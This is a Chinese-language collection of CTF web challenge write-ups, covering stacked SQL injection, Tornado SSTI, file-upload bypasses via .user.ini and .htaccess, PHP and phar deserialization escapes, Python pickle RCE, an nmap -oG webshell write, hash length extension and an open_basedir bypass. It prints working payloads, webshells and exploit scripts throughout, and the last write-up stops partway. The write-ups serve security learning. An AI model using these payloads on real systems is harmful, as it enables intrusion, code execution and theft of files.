[强网杯 2019]随便注



先尝试普通的注入

发现注入成功了,接下来走流程的时候碰到了问题

发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update,delete,insert这些sql语句呢?

原来这题需要用到堆叠注入:

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入,而堆叠注入可以执行任意sql语句

这下就好理解了,过滤上面那些语句应该是防止我们改数据,先看看堆叠注入的效果

inject=1';show databases;#

显示了所有的表,我们找到含有flag的表,这里可以用之前学的desc查看:)

接下来又碰到问题了,过滤了select怎么查数据?没事,sql中还有预编译的语句:

SET @tn = 'hhh';  存储表名
SET @sql = concat('select * from ', @tn); 存储SQL语句
PREPARE sqla from @sql; 预定义SQL语句
EXECUTE sqla; 执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; 删除预定义SQL语句

解法1:

concat把s,elect,* from `1919810931114514`这三个进行拼接,如下:

inject=1';use supersqli;SET @sql=concat("s","elect"," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#

解法2:

可以用十六进制的select然后再用char转换成字符绕过过滤,用concat进行拼接,如下:

SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`"); 存储语句
PREPARE sqla from @sql; 预定义sql语句
EXECUTE sqla; 执行sql语句

payload:

inject=1';use supersqli;SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#

easy_tornado

这是一道SSTI模板注入的题



挨个点进去看看吧,flag.txt:



welcome.txt:



hints.txt:

收集到一些信息:

  • 首先每一个txt文件后面都跟了一个md5加密的filehash,而这个加密过程在hints.txt中
  • flag在fllllllag里,看来是要我们读这个文件
  • render这个东西
  • 只要知道了cookie_secret,就能构造url读flag

如果直接读flag,会跳转到error页面



如果我们尝试修改msg的值,会发现能输出



后来知道这题考的是SSTI模板注入

{{ ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。

{% ... %}:装载一个控制语句。

{# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值

在贴一篇文章方便理解:传送门

例如传递{{1+1}}这个参数,就会输出传递的变量,会显示2,在本题中却会返回服务器错误,不过在tornado模板中,存在一些可以访问的快速对象,就是handler.settings



得到了cookie_secret,然后构造filehash就能得到flag了

import hashlib
def md5(s):
md5 = hashlib.md5();
md5.update(s)
return md5.hexdigest()
def gethash():
filename = '/fllllllllllllag'.encode('utf-8') #注意这里要加上/
f='3bf9f6cf685a6dd8defadabfb41a03a1'.encode('utf-8') #f是filename的md5
cookie_secret = '4a3d2302-20e6-4e71-8b42-ffc6369121b2'.encode('utf-8')
print(md5(cookie_secret + f))
gethash()

EasySql



除此之外什么也没了,fuzz了一下,发现除了一些符号和select基本上全被过滤了,

当输出了1时,显示了一个数组,再尝试看能不能输出多个数字



尝试输出数据库



不过过滤的真的太多了,用正常的注入肯定是不行了


看了wp才知道原来这题也是用了堆叠注入,直接

1;show tables;



但是这题连Flag都给过滤了,即使想用预编译绕过也得把from放出来吧,所以这条思路应该走不通了


时隔多天再看这道题==

先来看看这个:



sql把0和每一个username的值进行了或运算,还需要了解一下sql_mode是什么:

mysql数据库的中有一个环境变量sql_mode,定义了mysql应该支持的sql语法,数据校验等

可以通过set sql_mode=PIPES_AS_CONCAT来把管道符看成是concat,也就是拼接符号,再来看看:



在每一个name前加了一个0输出,但是,有什么用?我先传入一个2;



输出了2,如果把分号去掉:



变成了1,可以证明两点:

  • 分号的有无会影响输出的结果,并且可以正常输出-->这个query前面被自动加上了select
  • 加上分号,原样输出,是因为把后面的语句给闭合了,而当不加分号时,会输出1,

    假设sql语句是这样:select 2;=2,select 2 || ***;=1,正好是实际的结果

也就大致可以判断sql语句为:select 'query' || flag from flag ;,当然这里的flag也有一点猜测

再用上面说的方法,就可以把0和flag一起输出了

1;set sql_mode=PIPES_AS_CONCAT;select 0

实际上在sql语句中为:

select 1;set sql_mode=PIPES_AS_CONCAT;select 0 || flag from flag;

所以我们要在第三个语句中加上select,看看结果:

[SUCTF 2019]CheckIn

来到一个上传页面,除此之外啥也没有了



随便先上传个图片马2.jpg,因为这里过滤了<?,所以用script绕过:

GIF98
<script language='php'>
phpinfo();
</script>

得到文件路径:



但是没有可以包含的点,后来又尝试了一下发现.htaccess文件是可以上传的,但是.htaccess文件必须在根目录下才能生效,但是同时也知道了不是白名单过滤,下面涨涨姿势吧:.user.ini

首先,php.ini是我们很熟悉的php配置文件,这些配置又可以分为以下四类,看一下官方解释:

看到PHP_INI_USER这个模式,可以在ini_set、windows注册表、以及.user.ini中设定,再来看看这个

这样就弥补了.htaccess只能在根目录下的缺陷,我们能自定义的配置选项只有:

PHP_INI_PERDIR 、 PHP_INI_USER,不过在php.ini的配置列表中有以下两个,均为PHP_INI_PERDIR,但是这两个配置有什么用吗?

简单的说,prepend就是指定一个文件,在要执行的文件前先包含,而append就是先执行后包含

因为之前上传的时候有一个index.php文件,所以我们就可以利用.user.ini在执行index.php之前或之后进行包含,接下来是利用了,其实这里任选一个都行,指定要包含的文件



在上传123.jpg的图片马,得到路径,带上index.php这一执行文件进行包含图片马



成功包含



据说这只是个签到题..

参考文章:

传送门

[RoarCTF 2019]Easy Calc

在源代码找到calc.php,访问看到代码:

但是输入phpinfo()没过滤却不能执行

测试了一下应该只允许输入数字,那怎么办?

有必要了解一下php字符串解析漏洞:

PHP会将URL或body中的查询字符串关联到$_GET或$_POST。例如:/?foo=bar代表Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)

PHP在接受参数名时,需要将怪异的字符串转换为一个有效的变量名,因此当进行解析时,它会做两件事:

1.删除空白符

2.将某些字符转换为下划线(包括空格)

参考文章:freebuf

那我们就自己试一下:

先是正常的php解析函数:

如果我们在num前面加上空格:

可以看到效果和不加空格一样

回到题目,如果我们传:空格num,在url传参中是个不同的参数,所以绕过了只能输入非数字,而字符串解析却是一样的,也能执行代码

我们传参cacl? num=phpinfo()

剩下的只有一些简单的过滤了,可以用反码也可以用chr函数解析ascii码绕过,这里采用第二种

? num=var_dump(scandir(chr(47)))

calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))



flag{2b06307a-63b7-408b-9e24-b3336bfc1e79}

[0CTF 2016]piapiapia

首先看一下这个,对一个数组进行序列化,然后进行过滤替换,将单引号替换为no



先来看看正常结果



然后在pho后加上一个单引号



转换为no之后与长度4对应不上,反序列化时报错,看起来很正常,但是如果稍加改动,我们就能使它不报错,并且能改动后面固定的数据

首先假设我们要将固定数据ebe改成beee,那么常规思路肯定是闭合双引号然后加上我们恶意的数据

像这样pho";i:1;s:4:"beee";},但是好像并没用



我们最重要的是要加上";i:1;s:4:"beee";}数据,但是如果直接在pho后加,序列化之后会把它当成一整个字符串,我们也可以看到数据的长度自动变成了21,恰好是pho";i:1;s:4:"beee";}的长度

但是在过滤的函数中'->no,也就是本来一个字符的数变成了两个字符

先数一下";i:1;s:4:"beee";}的长度,是19,如果我们在pho后面先加上19个单引号,再跟上构造的数据";i:1;s:4:"beee";}然后此时序列化的长度就变成了39,然后经过转换,'->no,又多出来了19个字符,此时的序列化应该是这样的:

原始数据:a:2:{i:0;s:39:"pho'''''''''''''''''''";i:1;s:4:"beee";}";i:1;s:3:"ebe";}

经过转换:a:2:{i:0;s:39:"phonononononononononononononononononono";i:1;s:4:"beee";}";i:1;s:3:"ebe";}

但是序列化的长度为39啊,所以只能匹配39个长度,他就把phonononononononononononononononononono全部匹配,后面的";i:1;s:4:"beee";}成功逃逸

看一下结果



懂了这个点之后我们再来做题吧

首页是一个登陆页面



扫一下得到www.zip,下载得到源码



先看一下config.php

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>

可以看到flag就在config.php中,继续看其他的

register.php页面没什么利用点,直接注册一个登陆进去,来到update.php



update.php,就是更新用户信息,然后有过滤

<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname'); $file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>

仔细一点可以发现在3个if语句的过滤中有一个独秀:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

只要有一个不满足条件即可跳过die,其中第二个strlen($_POST['nickname']) > 10可以用数组绕过

那么nickname就可以随便控制了,而且最后会把$propfile也就是我们的更新信息序列化,然后调用update_profile方法,貌似跟上面的例子有点联系了吼

接着看其他的先,update之后来到profile.php页面



看看profile.php源码

<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>

在最后一行看到了base64_encode(file_get_contents($profile['photo']))我们或许可以利用这个读config.php,不过这里的参数是photo,也就是我们上传的文件,我们只能控制nickname,怎么让photo=config.php呢,往下看,来到class.php

我这里就放几个关键的吧,有在update里序列化之后调用的方法update_profile(),就是过滤

public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile); $where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}

过滤方法如下:

public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

第一个过滤/\'|\\/,第二个过滤/select|insert|update|delete|where/,好了,先序列化再过滤,上面的反序列化方法就能用了

我们先来看看序列化的结果:

a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"kk@qq.com";s:8:"nickname";a:1:{i:0;s:3:"kk1";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

我们要利用的是photo,而nickname可控,首先构造我们的序列化数据:

";}s:5:"photo";s:10:"config.php";}

数一下,总共34个,那么我们就需要用过滤替换制造34个多余的字符,看一下过滤,只有where被hacker替换之后会多出一个字符,那么我们就用34个where

payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

传入之后会变成:

a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"kk@qq.com";s:8:"nickname";a:1:{i:0;s:?:"kk1wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

过滤之后变成:

a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"kk@qq.com";s:8:"nickname";a:1:{i:0;s:?:"kk1hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

这样就能控制photo了,在update页面抓包,nickname改成数组形式



发过去



图片的base64解密就是config.php

CISCN2019 华北赛区 DropBox

在download.php下可以控制filename读取文件,如:

post:filename=../../index.php

挨个读一下,构造phar:

<?php
class User{
public $db;
}
class File{
public $filename;
}
class FileList{
private $files;
private $results;
private $funcs;
public function __construct() {
$file=new File();
$file->filename='/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$a= new User();
$a->db=new FileList();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("pb.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

访问delete.php,post一个

filename=phar://phar.jpg/pb.txt

因为delete.php会先打开该文件,触发phar,然后才删除

[CISCN2019 华北赛区 Day1 Web2]ikun

这题三个考点:

1.逻辑漏洞

2.jwt伪造

3.python反序列化

打开随便注册一个账户登陆



注意到:





大概就是要买v6了,然后翻了几页没找到v6,于是写脚本:



前往181页



但是太贵了买不起,想到可能有什么逻辑漏洞,先点进去康康



F12看了一下源码,注意到有几个隐藏的参数:



挨个试一下发现discount可以改,那么让它往死里打折



购买成功,但是出现



看来需要我们越权成为admin,还是先看看cookie



注意刀这里有一个JWT

jwt为json web token也就是json格式的token验证

直接在jwt.io上解密:



当前username为phoebe,试着改成admin,但是我们得有密钥才能生成jwt,可以用jwtcrack工具:

传送门



得到密钥1Kun,回去加密



改cookie:



还要成为大会员...但是点击它没 啥反应,ctrl+u看看源码,观察到:



下载下来是一个压缩包,并且了解到是python写的站



唉审计能力太差了,翻来翻去没翻到啥东西,原来在views/Admin下有:

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html') @tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

看到post这个函数里,首先get_argument是一个框架的内置函数用来获取变量

become = self.get_argument('become')

然后urllib.unquote把字典形式的参数进行url编码,然后pickle.loads对应pickle.dumps,相当于反序列化和序列化

 p = pickle.loads(urllib.unquote(become))

首先来看一下pickle.dumps产生的序列化大概是个什么样子



是一个二进制的文件流,多用来写文件,然后再来了解一下python的魔术方法_reduce_

当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。

_reduce_ 被定义之后,当对象被Pickle时就会被调用。

看一个demo理解一下:

import os
import pickle
class Pb():
def __init__(self):
print('init')
def __reduce__(self):
return os.system('whoami')
a = Pb()
print(pickle.dumps(a))



大致就是在pickle的时候会调用,那么我们可以:

import pickle
import urllib class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",)) a = pickle.dumps(payload())
a = urllib.quote(a)
print a

主要还是这行代码:

return (eval, ("open('/flag.txt','r').read()",))

先看看__reduce__的一些定义

reduce它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。

这个元组包含2到5个元素,其中包括:

一个可调用的对象,用于重建对象时调用;

一个参数元素,供那个可调用对象使用;

被传递给 setstate 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选)

我们要返回的是flag.txt的字节流,所以我们需要返回一个元组,这个元组包含两个必选的参数,第一个可调用的对象,我们这里用的eval,第二个参数,我们使用的是open('/flag.txt','r').read()

把上面的payload在python2环境下跑一下:



我们需要把它传给become然后反序列化触发reduce返回输出flag



抓包改一下become

[BUUCTF 2018]Online Tool

代码审计



首先我们传参host给$host,然后经过escapeshellarg,在经过escapeshellcmd,然后将字符串与ip拼接md5加密生成一个目录并进入,然后执行nmap命令

大概看完了,那么就先了解一下escapeshellargescapeshellcmd两个函数吧

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符

实操一下





可以看到这个escapeshellarg函数首先将整个字符串用单引号包裹,然后对我们输入的单引号进行转义,再在单引号两边分别加上一个单引号

这样就相当于把我们传的值分隔成两个字符串拼接的形式

再来看一下escapeshellcmd

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

就是加上转义符,那么如果这两个一起使用会发生什么呢,改一下代码:



可以看到escapeshellcmd只对不匹配的单引号以及\做了转义



两个转义符变成一个,不过我们还需要再闭合最后一个单引号,那就再加一个单引号:



所以这里的shell也就能执行了,只不过shell前后会多上\,这样比较南执行

回到题目,用的是nmap命令,有个点是nmap可以用-oG命令来写文件,所以我们的payload是:

'<?php eval($_POST["a"]);?> -oG 1.php '

也就是:

nmap -T5 -sT -Pn --host-timeout 2 -F ''\\'' shell'\\'''

简化一下:

nmap -T5 -sT -Pn --host-timeout 2 -F \ shell \->

nmap -T5 -sT -Pn --host-timeout 2 -F \<马> -oG 1.php\然后连上cat /flag

[De1CTF 2019]SSRF Me

打开即获得源码,使用python写的:

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16) class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox) def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False #generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param) @app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read() def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout" def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest() def md5(content):
return hashlib.md5(content).hexdigest() def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

首先看三个路由:

/geneSign



首先由GET方式获得param的值,然后action="scan",传入getSign返回,看一下getSign函数:

getSign()



就是返回md5(secert_key + param + action),也就是生成一个签名

/De1ta



首先,action和sign分别从cookie中获取对应的值,param由GET传参获取值

而且param要经过waf这个函数检验

waf()



param不能以gopher或file开头,也就是不让我们用这两个协议读文件,回到路由

将action, param, sign, ip作为参数生成一个Task类,最后调用Task类下的Exec方法,json格式返回

第三个路由:

/只是输出源码:



重点看Task类:

首先是__init__方法,初始化赋值并以ip创建一个沙盒



然后是Exec方法:



首先31行调用checkSign检查签名是否一致:



进入判断:



看一下scan方法:读文件



假设我们param传入flag.txt,会把flag写到result.txt里,继续



那么只要我们的action中又有scan又有read,但是如果这样那么签名就会不一致,因为在/geneSign路由中action是写死的,为scan:



我们不知道密钥的值,不能自己构造一个又有scan又有read并且值与只有scan相同的值

所以这里要用哈希长度拓展攻击,hashpump

先访问/geneSign?param=flag.txt路由得到签名



用hashpump生成:



得到一个伪造的签名和action的值,exp:

import requests
url = 'http://e29ed022-2592-48de-8195-a34de141715c.node3.buuoj.cn/De1ta?param=flag.txt'
cookies = {
'sign': '6d634a2c385c75450818b8630eade2b5',
'action':'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read'
}
result = requests.get(url=url, cookies=cookies)
print(result.text)



不过这里好像有另外一种简单的方法==

访问/geneSign?param=flag.txtread

这样签名就变成了:

md5(secert_key + 'flag.txtread' + 'scan')



然后只要在/De1ta路由中令sign=a8c39168ce7533e8cf21eb018f6a740e,然后action=readscan,再一次加密验证结果是一样的,exp:

import requests
url = 'http://e29ed022-2592-48de-8195-a34de141715c.node3.buuoj.cn/De1ta?param=flag.txt'
cookies = {
'sign': 'a8c39168ce7533e8cf21eb018f6a740e',
'action' : 'readscan'
#'action':'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read'
}
result = requests.get(url=url, cookies=cookies)
print(result.text)

[SUCTF 2019]EasyWeb

上来就是源码

<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
} $hhh = @$_GET['_']; if (!$hhh){
highlight_file(__FILE__);
} if(strlen($hhh)>18){
die('One inch long, one inch strong!');
} if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!'); $character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!"); eval($hhh);
?>

首先get_the_flag()是个文件上传的函数,然后下面是熟悉的无字母数字shell,可以通过异或来执行,异或脚本

<?php
$payload = '_GET';
for($i=0;$i<strlen($payload);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); //dechex(255) = ff
if($k == $payload[$i])
$result .= '%'.dechex($j);
}
}
echo $result;

运行一下得到:%a0%b8%ba%ab,然后就可以构造$_GET了,尝试执行phpinfo

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo



当然不可能直接rce,下一步调用get_the_flag()函数

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag



首先看到这个过滤



直接在文件里找有没有<?,正常情况下可以用script绕过,但是刚才phpinfo可以看到版本是7.0+的,而php在7.0以及取消了这个用法,下面看另外一种方法:

utf-16编码绕过,原理如下:



也就是在utf-8中,编码方式是一个字节一个字节编码的,而在utf-16中,编码是两个字节一起的,所以<?这两个字节就一起进行了utf16编码,可以看到左边16进制也不一样

然后再看exif_imagetype,这是一个php内置的获取图片类型的函数,而且是通过文件前几个字节来检验的



有两种方法,一是直接加上二进制文件头,例如GIF98a:

 b"\x18\x81\x7c\xf5"

还有一种是定义图片的长宽

#define width 1
#define height 1

而且这里后缀只限制ph,所以可以利用.htaccess绕过

生成脚本如下:

SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
phpfile = open(filename, 'wb')
phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER) phpfile.close() def generate_htacess():
htaccess = open('.htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .w\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close() generate_htacess()
generate_php_file("shell.w", "<?php eval($_GET['cmd']); ?>")

运行一下会生成.htaccess和shell.w的文件,挨个用postman上传:



得到路径访问,解析成功



这里system被过滤了



本来想用scandir来看一下根目录文件的,结果:



原来这里加了open_basedir限制,限制文件访问的范围只能在/var/www/html/或/tmp下,

open_basedir是php.ini的一个配置选项,也可以这样来定义:

ini_set('open_basedir', '指定目录');

那我们就尝试指定目录为:..,然后用chdir改变文件路径

例如当前路径为:/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/

chdir('..')后就变成了/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/..

就这样一直跳到根目录,如下

ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');print_r(scandir('.'));



然后再设置open_basedir为/,总的来说就是:

/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/../../../../../

然后读文件

[安洵杯 2019]easy_serialize_php

源码:

<?php

$function = @$_GET['f'];

//过滤函数
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
} if($_SESSION){
unset($_SESSION);
} $_SESSION["user"] = 'guest';
$_SESSION['function'] = $function; extract($_POST); if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
} if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
} $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

f可以选择三个参数:

1.highlight_file

2.phpinfo,并且提示may find sth

3.show_image,会把$_SESSION[img]中的东西base64解码然后显示出来

那么我们先看一下phpinfo中有什么信息



可以看到auto_append_file设置了php代码执行结束后加载的一个文件,猜测这就是flag了,要用show_image来读它

如果直接

f=show_image&img_path=d0g3_f1ag.php

的话会被sha1放入$_SESSION



而这里只有b64解码,所以得换一下思路

首先注意到有一个extract,想到可以变量覆盖,使我们有机会直接修改_SESSION

并且这一行代码:

先进行序列化再用过滤函数,这样很容易产生漏洞,造成反序列化逃逸,而反序列化逃逸有两种:

第一种就是直接替换,例如where->hacker,具体看[0CTF 2016]piapiapia这道题

第二种就是本题的情况了,直接替换为空

假设我们利用变量覆盖post一个:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

序列化_SESSION后的数应该是:

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

注意这里有2个img,一个是d0g3_f1ag.php,一个是由于我们没传img_path,默认为guest_img.png

过滤后将这6个flag字符串替换为空:

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

这样就导致少了24个字符,就会继续往后拿24个字符:";s:8:"function";s:59:"a

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

由于该序列化开头为a:3,也就是有3个键值对,分别为:

user: ";s:8:"function";s:59:"a

img: ZDBnM19mMWFnLnBocA==

dd: a

到此序列化就完整了,后面多出来的

";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

被视为多余的字符而被丢弃,所以img也就成功被我们写入了ZDBnM19mMWFnLnBocA==



换一下:

[CISCN2019 总决赛 Day1 Web4]Laravel1

Laravel源码审计,找反序列化链



遇到这种题真的很头疼,不知道从哪入手

总体思路还是先全局搜索__destruct函数,找到这个类





跟进commit->跟进invalidateTags



注意到上面这行代码,可以在该类下ctrl+f搜一下$this->pool



可以看到$this->pool是我们可控的,不过要实现AdapterInterface这个接口,那么如果我们找到某个类,它既实现了AdapterInterface这个接口,同时又有saveDeferred方法(或者没有而有__call方法),而且满足一定条件能文件读取或命令执行即可

还是全局搜索saveDeferred方法,然后首先跟据有无AdapterInterface接口进行排除

我直接说能出结果的吧,首先是这个PhpArrayAdapter.php



跟进initialize方法,来到另外一个类下,应该是继承或者trait复用关系



这里看到了有文件包含点

接着构造poc,首先

